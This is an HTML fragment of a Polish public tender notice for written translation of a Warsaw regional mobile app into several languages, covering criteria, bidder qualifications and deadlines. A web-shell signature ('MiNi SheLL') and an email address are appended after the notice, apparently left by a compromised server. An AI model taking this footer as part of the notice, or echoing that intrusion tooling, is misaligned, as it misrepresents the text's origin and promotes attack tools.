class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 7</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK WŁOSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język włoski oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 8</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK JAPOŃSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język japoński oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 9</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> TŁUMACZENIA NA JĘZYK CHIŃSKI:<br/>Przedmiotem zamówienia jest wykonywanie tłumaczeń pisemnych do aplikacji mobilnej z języka polskiego na język chiński oraz ich weryfikację i korektę na potrzeby projektu „Wirtualny Warszawski Obszar Funkcjonalny” (Virtual WOF), współfinansowanego przez Unię Europejską ze środków Europejskiego Funduszu Rozwoju Regionalnego w ramach Regionalnego Programu Operacyjnego Województwa Mazowieckiego 2014-2020.<br/>Szczegóły w SWZ i załączniku 6B. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2022-05-19</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">Zamawiający zamierza udzielić zamówień, o których mowa w art. 214 ust. 1 pkt. 7 ustawy w wysokości do 40% wartości zamówienia podstawowego.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Został określony w SWZ</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">organizacja, kwalifikacje zawodowe i doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Doświadczenie tłumacza w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> Zdolności techniczne lub zawodowe<br/>Dla części 1 – 9: w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzonej działalności jest krótszy, to w tym okresie, należycie zrealizowali lub realizują, co najmniej 2 zamówienia (każde zamówienie jest odrębną umową / zleceniem) polegające na wykonaniu tłumaczeń pisemnych z języka polskiego na:<br/>a) język angielski o wartości, co najmniej 10 000,00 zł brutto każde – dla części 1;<br/>b) język angielski o wartości, co najmniej 4 000,00 zł brutto każde – dla części 2;<br/>c) język niemiecki o wartości, co najmniej 4 000,00 zł brutto każde – dla części 3;<br/>d) język francuski o wartości, co najmniej 4 000,00 zł brutto każde – dla części 4;<br/>e) język hiszpański o wartości, co najmniej 4 000,00 zł brutto każde – dla części 5;<br/>f) język rosyjski o wartości, co najmniej 4 000,00 zł brutto każde – dla części 6;<br/>g) język włoski o wartości, co najmniej 4 000,00 zł brutto każde – dla części 7;<br/>h) język japoński o wartości, co najmniej 6 000,00 zł brutto każde – dla części 8;<br/>i) język chiński o wartości, co najmniej 6 000,00 zł brutto każde – dla części 9.<br/>W przypadku zamówień, które są w trakcie realizacji, Wykonawca musi wykazać, że do chwili składania ofert, wartość zrealizowanych zamówień wyniosła co najmniej:<br/>a) 10 000,00 zł brutto każde – dla części 1;<br/>b) 4 000,00 zł brutto każde – dla części 2;<br/>c) 4 000,00 zł brutto każde – dla części 3;<br/>d) 4 000,00 zł brutto każde – dla części 4;<br/>e) 4 000,00 zł brutto każde – dla części 5;<br/>f) 4 000,00 zł brutto każde – dla części 6;<br/>g) 4 000,00 zł brutto każde – dla części 7;<br/>h) 6 000,00 zł brutto każde – dla części 8;<br/>i) 6 000,00 zł brutto każde – dla części 9.<br/><br/>Dla danej części zamówienia dysponują lub będą dysponować, co najmniej: (zakres tematyczny i przewidywany zakres ilościowy zamówienia, wskazuje, że Wykonawca dla niezakłóconego i efektywnego realizowania przedmiotu zamówienia winien dysponować następującą liczbą tłumaczy):<br/><br/>a) dwoma tłumaczami języka angielskiego (dla części 1);<br/>b) jednym tłumaczem języka angielskiego (dla części 2);<br/>c) jednym tłumaczem języka niemieckiego (dla części 3);<br/>d) jednym tłumaczem języka francuskiego (dla części 4);<br/>e) jednym tłumaczem języka hiszpańskiego (dla części 5);<br/>f) jednym tłumaczem języka rosyjskiego (dla części 6);<br/>g) jednym tłumaczem języka włoskiego (dla części 7);<br/>h) jednym tłumaczem języka japońskiego (dla części 8);<br/>i) jednym tłumaczem języka chińskiego (dla części 9);<br/><br/>przy czym osoby (tłumacze) wymienione w lit. a) – i) posiadają ukończone magisterskie studia filologiczne lub lingwistyki stosowanej lub ukończone inne studia wyższe wraz z ukończonymi studiami podyplomowymi w zakresie tłumaczenia danego języka lub posiadają certyfikat potwierdzający znajomość danego języka na poziomie C2 wg kwalifikacji Rady Europy (CEFR) lub są wpisani na listę czynnych tłumaczy przysięgłych prowadzoną przez Ministra Sprawiedliwości i posiadają, co najmniej dwuletnie doświadczenie w wykonywaniu tłumaczeń pisemnych w zakresie danego języka. <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.6.) Wykaz podmiotowych środków dowodowych na potwierdzenie niepodlegania wykluczeniu: <span class="normal">W niniejszym postępowaniu Zamawiający nie określa podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu.</span> </h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">W celu potwierdzenia spełniania przez wykonawcę warunków udziału w<br/>postępowaniu dotyczących zdolności technicznej lub zawodowej Zamawiający żąda przedstawienia następujących dokumentów:<br/>a) wykaz usług, sporządzony wg wzoru określonego w Załączniku nr 4 do SWZ (załącznik jest dla wszystkich części) w odniesieniu do części, na które składana jest oferta, na potwierdzenie spełnienia warunku udziału w postępowaniu określonego w pkt. 12.2.1 SWZ:<br/>b) dowody, że wykazane w w/w wykazie usługi zostały wykonane należycie. Dowodami, o których mowa powyżej są:<br/>• referencje bądź inne dokumenty wystawione przez podmiot, na rzecz, którego usługi zostały wykonane;<br/>• oświadczenie Wykonawcy, jeżeli z uzasadnionej przyczyny o obiektywnym charakterze Wykonawca nie jest w stanie uzyskać dokumentów. W takim przypadku należy uzasadnić brak możliwości uzyskania dokumentów;<br/>• w przypadku świadczeń powtarzających się lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonanie powinny być wystawione w okresie ostatnich 3 miesięcy.<br/>c) wykaz osób, skierowanych przez Wykonawcę do realizacji zamówienia publicznego (dla danej części), sporządzony wg wzoru określonego w Załączniku nr 5 do SWZ na potwierdzenie spełniania warunku określonego w pkt. 12.2.2. SWZ.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> W niniejszym postępowaniu Zamawiający nie wymaga złożenia wraz z ofertą przedmiotowych środków dowodowych. <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h3 class="mb-0">5.11.) Wykaz innych wymaganych oświadczeń lub dokumentów: </h3> 1. wypełniony formularz oferty - załącznik nr 1 do SWZ<br/>2. wypełniony formularz cenowy - załącznik nr 1A do SWZ<br/>3. oświadczenie/a o braku podstaw wykluczenia – załącznik nr 2 do SWZ<br/>4. oświadczenie o spełnianiu warunków udziału w postępowaniu w zakresie wskazanym przez Zamawiającego – załącznik nr 3 do SWZ<br/>5. w przypadku, gdy Wykonawca polega na zdolnościach lub sytuacji innych Podmiotów - zobowiązanie każdego Podmiotu udostępniającego zasoby potwierdzające, że stosunek łączący Wykonawcę z Podmiotami udostępniającymi zasoby gwarantuje rzeczywisty dostęp do tych zasobów;<br/>6. oświadczenie Wykonawcy o podwykonawcach, ze wskazaniem części zamówienia których wykonanie zamierza powierzyć podwykonawcom z podaniem firm podwykonawców, o ile są znane, lub informacji o samodzielnym wykonaniu zamówienia (znajduje się w formularzu oferty);<br/>7. w przypadku, gdy oferta została podpisana przez inną osobę niż umocowana w dokumencie rejestrowym Wykonawcy, dokument (np. pełnomocnictwo) potwierdzający umocowanie do reprezentowania Wykonawcy<br/>8. w przypadku, gdy oferta zawiera informacje stanowiące tajemnicę przedsiębiorstwa – dokument zawierający dowody, o których mowa w pkt. 18 SWZ.<br/>9. w przypadku wspólnego ubiegania się o zamówienie przez Wykonawców oświadczenie z którego wynika, które roboty budowlane, dostawy lub usługi wykonają poszczególni Wykonawcy (w trybie art. 117 ust. 4 ustawy) - załącznik nr 7 do SWZ. <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> W przypadku oferty składanej przez Wykonawców ubiegających się wspólnie o wykonanie zamówienia warunek (wykaz usług) zostanie spełniony jeśli Wykonawca, który będzie realizował zamówienie samodzielnie spełni wymagany warunek. Wykonawcy ubiegający się wspólnie o udzielenie zamówienia muszą ustanowić pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia albo do reprezentowania w postępowaniu i zawarcia umowy. Do oferty należy dołączyć stosowne pełnomocnictwo w formie elektronicznej lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym przez osobę lub osoby upoważnione do składania oświadczeń woli każdego z wykonawców wspólnie ubiegających się o udzielenie zamówienia. Oświadczenia o których mowa w art.125 ust.1 Pzp składa każdy z wykonawców. Wymagane oświadczenie, o którym mowa w art. 117 ust. 4 Pzp. Więcej w SWZ. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Rodzaj i zakres zmian umowy zostały określone dla Części 1 zamówienia w załączniku nr 6A do SWZ (Projektowane postanowienia umowy) oraz dla Części 2-9 zamówienia w załączniku nr 6B do SWZ (Projektowane postanowienia umowy). <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-11-29 10:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">https://miniportal.uzp.gov.pl/</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-11-29 11:00</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-12-28</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> Informację o przebiegu postępowania Zamawiający będzie też prowadził na swojej stronie internetowej pod adresem: https://warsawtour.bip.um.warszawa.pl/menu_przedmiotowe/Przetargi/2021/default.htm

Creat By MiNi SheLL
Email: jattceo@gmail.com